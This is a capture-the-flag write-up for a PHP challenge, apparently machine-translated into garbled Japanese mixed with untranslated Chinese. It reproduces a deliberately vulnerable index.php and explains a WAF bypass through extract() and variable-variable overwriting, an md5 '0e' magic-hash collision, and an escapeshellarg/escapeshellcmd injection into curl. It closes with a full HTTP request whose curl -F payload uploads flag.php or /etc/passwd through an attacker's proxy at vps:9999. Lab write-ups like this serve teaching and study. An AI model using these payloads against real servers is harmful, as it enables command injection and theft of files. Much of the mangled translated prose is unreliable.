運動の記録
コードを再現:
index.phpを
//index.php
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}
}
?>
flag.php
// flag.php
<?php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>
脆弱性分析:
サイトを入力します。
http://10.211.55.5/PHPcode/day5/index.php
正しくページを発見、あなたが動作することができます。
この質問はと組み合わせ、主にグローバル変数カバレッジ上でunset
バイパスする機能waf
、などでcurl
ファイルを読み込むと、コードはその後、我々は二つの部分でそれを見ていきます。
最初の部分:
私たちは、参照第10-13行
コードを:
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
まず第1行
、サイクルは、文字列を受け取りGET、POST、COOKIE
、そして今度は変数に代入します$__R
。第2行
第一の判定$$__R
変数存在する場合、スーパーグローバル配列を決定していき、データが存在するGET、POST、COOKIE
同じキーが存在する場合、存在する場合、その変数を削除します。ここだ可变变量
あなたはそれを理解する必要がコンセプト。
可变变量指的是: 一个变量的变量名可以动态的设置和使用。一个可变变量获取了一个普通变量的值作为其变量名。
たとえば、理解促進:
<?php
$a="hello";
$$a="world";
var_dump($a,$$a,$hello)
?>
本明細書中で使用される$$
を通じて变量a
取得したデータ、新たな変数として登録します(这里是 变量hello )
。そして、変数見つける$$a
出力データと変数を$hello
一貫性のある出力データを(如上图,输出为 world
)。
GET
要求index.php
提出されflag=test
、続いPOST
要求を提出します_GET[flag]=test
。スタートがトラバースすると$_POST
、スーパーグローバル配列$__k
代表は_GET[flag]
、その$$__k
ことを$_GET[flag]
そのtest
値が、今回は$$__k == $__v
設定を、変数$_GET[flag]
でしたunset
。しかし、ライン22およびライン23は、コードの、このような文字列があります。
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
extract 函数
:作用是将对象内的键名变成一个变量名,而这个变量对应的值就是这个键名的值。
EXTR_SKIP 参数
:表示如果前面存在此变量,不对前面的变量进行覆盖处理。
由于我们前面通过 POST 请求
提交 _GET[flag]=test
,所以这里会变成 $_GET[flag]=test
,这里的 $_GET
变量就不需要再经过waf
函数检测了,也就绕过了 preg_match('/flag/i',$key)
的限制。下面举个extract
函数用例:
<?php
$b=3;
$a=array('b'=>'1');
extract($a);
print_r($b);
?>
结果为:1
接着到了25行比较两个变量的md5值
,我们构造出2
个0e
开头的md5
即可绕过,这样就进入第二阶段。
第二部分:
第二阶段主要考察 curl
读取文件。这里主要加了两个坑,我们之前说过的两个函数 escapeshellarg()
和 escapeshellcmd()
一起使用的时候会造成的问题,主要看看这部分代码。
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}
这里的 第7行
和 第8行
增加了两个过滤。
escapeshellarg
:将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号escapeshellcmd
:会对以下的字符进行转义&#;|*?~<>^()[]{}$, x0A 和 xFF, ' 和 "
仅在不配对的时候被转义。
例如:
在字符串增加了引号同时会进行转义,那么之前的payload
http://127.0.0.1/index1.php?url=http://127.0.0.1 -T /etc/passwd
因为增加了 '
进行了转义,所以整个字符串会被当成参数。注意 escapeshellcmd
的问题是在于如果'
和 "
仅在不配对的时候被转义。那么如果我们多增加一个'
就可以扰乱之前的转义了。如下:
在curl
中存在-F
提交表单的方法,也可以提交文件。-F <key=value>
向服务器POST
表单,例如: curl -F "[email protected];type=text/html" url.com
。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。那么最后的payload
为:
http://baidu.com/' -F file=@/etc/passwd -x vps:9999
ここではそれがあるべきであり、curl
関係を解放し、私は7.54.0
何のテストが成功しないの下。
タイトルcurl
バージョン7.19.7
憶測によると、新バージョンでは、それが最初に実行されますかもしれcurl http
操作を、しかしにより例えば背中の増加にhttp://127.0.0.1
、しかしcurl
、そのようなファイルを見つけることができない、表示されます404
。表示された404
書類の提出の背後に操作した後は、プログラムが終了を行いません。だからvps
トップがファイルを受信することはできません。
したがって、この最後の質問はpayload
これです:
POST /index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
_GET[flag]=QNKCDZO&_GET[hongri]=s878926199a&_GET[url]=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999
この質問は、正常に再生されません何のLinux環境ではありません